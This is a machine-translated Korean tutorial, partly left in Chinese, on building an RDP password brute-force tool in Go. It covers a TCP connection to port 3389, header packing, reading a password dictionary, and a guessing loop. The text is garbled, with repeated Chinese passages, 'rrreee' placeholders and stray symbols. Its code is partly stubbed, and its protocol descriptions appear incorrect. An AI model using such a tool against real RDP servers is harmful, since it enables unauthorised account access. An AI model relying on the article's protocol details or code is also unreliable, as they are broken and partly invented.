>  기사  >  백엔드 개발  >  golang은 rdp blasting을 구현합니다.

golang은 rdp blasting을 구현합니다.

PHPz
PHPz원래의
2023-05-14 16:08:381046검색

네트워크 보안 분야에서 블래스팅은 대상 계정의 비밀번호 강도를 테스트하는 기술입니다. 사이버 공격자의 경우 무차별 대입 공격은 불법적인 시스템 액세스 권한을 얻기 위해 대상 계정의 비밀번호를 추측하도록 설계된 일반적인 공격 방법입니다. 이 프로세스에는 많은 계산과 시간이 필요한 경우가 많기 때문에 일반적으로 많은 해커는 프로그래밍 언어를 사용하여 공격 도구를 구현하여 폭발 프로세스를 단순화하고 가속화합니다.

이 기사에서는 Go를 사용하여 RDP 폭발 공격 도구를 작성하는 방법을 설명합니다. 여기에는 주로 다음 사항이 포함됩니다.

  1. RDP 프로토콜 연구
  2. TCP 연결 및 메시지 전송 구현
  3. 암호 사전 목록 읽기 구현
  4. 폭발 공격 구현
  5. RDP 프로토콜 연구

RDP(원격 데스크톱 프로토콜)는 Windows 운영 체제의 원격 관리에 사용되는 네트워크 프로토콜입니다. 이를 통해 로컬 컴퓨터의 사용자는 네트워크를 통해 원격 컴퓨터에 원격으로 연결하고 원격 컴퓨터의 데스크톱 세션에 액세스하고 제어할 수 있습니다. RDP는 원격 지원 및 원격 데스크톱 액세스에 널리 사용되지만 해커가 Windows 운영 체제를 표적으로 삼을 수 있는 공격 표면도 제공합니다.

RDP 블라스팅 도구를 작성하기 전에 RDP 프로토콜의 구조와 데이터 전송 방법에 대한 깊은 이해가 필요합니다. RDP 프로토콜은 기본 프로토콜과 확장 프로토콜로 구분됩니다. 기본 프로토콜에서는 클라이언트와 서버가 TCP 연결을 사용하여 통신합니다. 확장 프로토콜에서는 가상 채널 또는 보안 채널을 사용하여 그래픽, 오디오 및 기타 고급 기능을 지원하기 위해 여러 데이터 스트림을 전송합니다.

다음 섹션에서는 Golang을 사용하여 RDP 기본 프로토콜의 연결 및 메시지 전송을 구현하는 방법에 중점을 둘 것입니다.

  1. TCP 연결 및 메시지 전송 구현

Golang을 사용하여 TCP 연결을 설정하는 것은 매우 간단합니다. Go는 소켓과 I/O를 처리하기 위한 넷 패키지를 제공합니다. 먼저 net.Dial() 함수를 사용하여 RDP 서버에 대한 TCP 연결을 설정해야 합니다. 다음은 샘플 코드 조각입니다. net.Dial() 函数来建立与 RDP 服务器的 TCP 连接。下面是一个示例代码片段:

conn, err := net.Dial("tcp", "rdp.example.com:3389")
if err != nil {
    // 处理错误信息
}

我们还需要了解 RDP 协议的消息格式。RDP 消息是基于 ASN.1 标准的数据结构。它们通常由 RDP 协议头和 Microsoft RDPDR 和 MS TPKT 协议头组成。在构建 RDP 消息时,我们需要按以下方式设置消息头:

buf := new(bytes.Buffer)

// RDP 协议头
rdpHeader := RdpHeader{
    Type:        PDUTYPE_DATAPDU | PDUTYPE2_VALID | 0x10,
    Length:      uint16(len(data)),
    SubType:     1,
    Compressed:  0,
    Authentication: 0,
}
// 写入 RDP 协议头
err = binary.Write(buf, binary.BigEndian, &rdpHeader)
if err != nil {
    // 处理错误信息
}

// Microsoft RDPDR 协议头
rdpdrHeader := RdpdrHeader{
    Component:   RDPDR_CTYP_CORE,
    PacketType:  RDPDR_TYPE_REQUEST,
    PacketId:    uint32(packetId),
    DataLength:  uint32(len(data)),
    ExtraData:   0,
    Status:      STATUS_SUCCESS,
}
// 写入 RDPDR 协议头
err = binary.Write(buf, binary.LittleEndian, &rdpdrHeader)
if err != nil {
    // 处理错误信息
}

// 写入数据
err = binary.Write(buf, binary.LittleEndian, data)
if err != nil {
    // 处理错误信息
}

// 发送数据到 RDP 服务器
_, err = conn.Write(buf.Bytes())
if err != nil {
    // 处理错误信息
}

在上面的代码中,我们首先创建了一个 RDP 协议头和 Microsoft RDPDR 协议头。然后,将消息数据打包并写入到新的字节缓冲区 buf 中。最后,将缓冲区中的数据写入到通过 net.Dial() 建立的 TCP 连接中。

  1. 实现密码字典清单的读取

在 RDP 爆破攻击中,密码字典是攻击过程中最重要的部分。密码字典通常包含与目标用户密码相关的单词和字符组合。因此,我们需要从文件中读取这些密码字典,以便在攻击过程中使用它们。

在 Go 中,文件操作非常简单。可以使用 os.Open() 函数打开文件,并使用 bufio.NewReader() 函数将文件添加到缓冲区中,以便我们可以按行读取文件中的数据。以下是示例代码:

func readPasswords(passwordList string) ([]string, error) {
    passwords := []string{}

    file, err := os.Open(passwordList)
    if err != nil {
        return passwords, err
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        passwords = append(passwords, scanner.Text())
    }

    if err := scanner.Err(); err != nil {
        return passwords, err
    }

    return passwords, nil
}

在上面的代码中,我们首先打开密码字典文件,并使用 bufio 包将其添加到缓冲区中。然后可以使用 bufio.Scanner() 函数按行读取文件中的所有数据,并将其附加到 passwords 列表中。最终,函数返回密码列表和可能发生的错误。

  1. 实现爆破攻击

有了密码字典和 RDP 消息发送代码,我们可以开始构建 RDP 爆破攻击程序了。在这个程序中,我们需要一个循环来迭代密码字典并尝试猜测每个可能的密码。

下面是示例代码:

func rdpBruteForce(conn net.Conn, user string, passwordList []string) error {
    for _, password := range passwordList {
        _, err := conn.Write([]byte("some rdp message with password " + password))
        if err != nil {
            return err
        }

        // 检查是否成功找到密码
        response := make([]byte, 1024)
        _, err = conn.Read(response)
        if err != nil {
            return err
        }

        if bytes.Contains(response, []byte("successfully authenticated")) {
            fmt.Printf("Password found: %s", password)
            return nil
        }
    }

    return fmt.Errorf("Password not found in the list")
}

在上面的代码中,我们迭代密码字典并使用 conn.Write() 函数向 RDP 服务器发送包含密码字典中当前密码的消息。然后,我们使用 conn.Read() 函数从服务器接收响应消息。如果消息包含字符串“successfully authenticated”,表示找到了正确的密码,程序输出该密码并退出循环。如果成功迭代了密码字典但未找到密码,则输出错误消息。

最后,我们需要通过调用以下函数来实现 RDP 连接和攻击:

func startRdpBruteForce(ip string, user string, passwordList string) error {
    conn, err := net.Dial("tcp", ip+":3389")
    if err != nil {
        return err
    }   
    // 发送所有 RDP 初始化消息
    _, err = conn.Write([]byte("some rdp initialization messages"))
    if err != nil {
        return err
    }

    passwords, err := readPasswords(passwordList)
    if err != nil {
        return err
    }

    err = rdpBruteForce(conn, user, passwords)
    if err != nil {
        return err
    }

    return nil
}

在此函数中,我们首先建立 TCP 连接并发送 RDP 初始化消息。然后,我们使用 readPasswords() 函数读取密码字典文件。最终,我们调用 rdpBruteForce() 函数并将 connrrreee

또한 RDP 프로토콜의 메시지 형식을 이해해야 합니다. RDP 메시지는 ASN.1 표준을 기반으로 하는 데이터 구조입니다. 일반적으로 RDP 프로토콜 헤더와 Microsoft RDPDR 및 MS TPKT 프로토콜 헤더로 구성됩니다. RDP 메시지를 작성할 때 메시지 헤더를 다음과 같이 설정해야 합니다.

rrreee

위 코드에서는 먼저 RDP 프로토콜 헤더와 Microsoft RDPDR 프로토콜 헤더를 생성합니다. 그런 다음 메시지 데이터가 압축되어 새 바이트 버퍼 buf에 기록됩니다. 마지막으로, 버퍼의 데이터는 net.Dial()을 통해 설정된 TCP 연결에 기록됩니다.

    비밀번호 사전 목록 읽기 구현🎜🎜🎜RDP 폭발 공격에서 비밀번호 사전은 공격 프로세스에서 가장 중요한 부분입니다. 비밀번호 사전에는 일반적으로 대상 사용자의 비밀번호와 관련된 단어 및 문자 조합이 포함되어 있습니다. 따라서 공격 중에 이러한 비밀번호 사전을 사용하려면 파일에서 이러한 비밀번호 사전을 읽어야 합니다. 🎜🎜Go에서는 파일 작업이 매우 간단합니다. os.Open() 함수를 사용하여 파일을 열고 bufio.NewReader() 함수를 사용하여 버퍼에 추가하면 파일을 한 줄씩 읽을 수 있습니다. 자료. 샘플 코드는 다음과 같습니다. 🎜rrreee🎜 위 코드에서는 먼저 비밀번호 사전 파일을 열고 bufio 패키지를 사용하여 이를 버퍼에 추가합니다. 그런 다음 bufio.Scanner() 함수를 사용하여 파일의 모든 데이터를 한 줄씩 읽고 passwords 목록에 추가할 수 있습니다. 궁극적으로 이 함수는 비밀번호 및 가능한 오류 목록을 반환합니다. 🎜
      🎜폭파 공격 구현🎜🎜🎜암호 사전과 RDP 메시지 전송 코드를 사용하여 RDP 폭파 공격 프로그램 구축을 시작할 수 있습니다. 이 프로그램에서는 비밀번호 사전을 반복하고 가능한 각각의 비밀번호를 추측하는 루프가 필요합니다. 🎜🎜샘플 코드는 다음과 같습니다. 🎜rrreee🎜위 코드에서는 비밀번호 사전을 반복하고 conn.Write() 함수를 사용하여 현재 비밀번호가 포함된 RDP 서버에 메시지를 보냅니다. 비밀번호 사전. 그런 다음 conn.Read() 함수를 사용하여 서버로부터 응답 메시지를 받습니다. 메시지에 "성공적으로 인증됨"이라는 문자열이 포함되어 있으면 올바른 비밀번호를 찾았다는 의미이며 프로그램은 비밀번호를 인쇄하고 루프를 종료합니다. 비밀번호 사전이 성공적으로 반복되었지만 비밀번호를 찾을 수 없으면 오류 메시지가 출력됩니다. 🎜🎜마지막으로 RDP 연결을 구현하고 다음 함수를 호출하여 공격해야 합니다. 🎜rrreee🎜이 함수에서는 먼저 TCP 연결을 설정하고 RDP 초기화 메시지를 보냅니다. 그런 다음 readPasswords() 함수를 사용하여 비밀번호 사전 파일을 읽습니다. 마지막으로 conn과 비밀번호 목록을 인수로 전달하여 rdpBruteForce() 함수를 호출합니다. 🎜🎜요약🎜🎜이 글에서는 Go를 사용하여 RDP 폭발 공격 도구를 작성하는 방법을 소개합니다. Go를 사용하여 TCP 연결을 설정하고 RDP 메시지를 보내는 방법을 배웠고, 비밀번호 사전 파일을 한 줄씩 읽는 방법을 배웠습니다. 또한 올바른 비밀번호가 발견되었는지 확인하기 위해 성공적인 인증을 찾기 위해 응답 데이터를 가로채는 코드를 작성했습니다. 이 문서에서는 RDP 폭파 도구를 배우고 작성하는 데 필요한 지식과 기술을 제공합니다. 그러나 이러한 공격 방법은 매우 위험하고 불법적인 공격 방식이므로, 불법적인 목적으로 사용되어서는 안 된다는 점에 유의해야 합니다. 🎜

위 내용은 golang은 rdp blasting을 구현합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.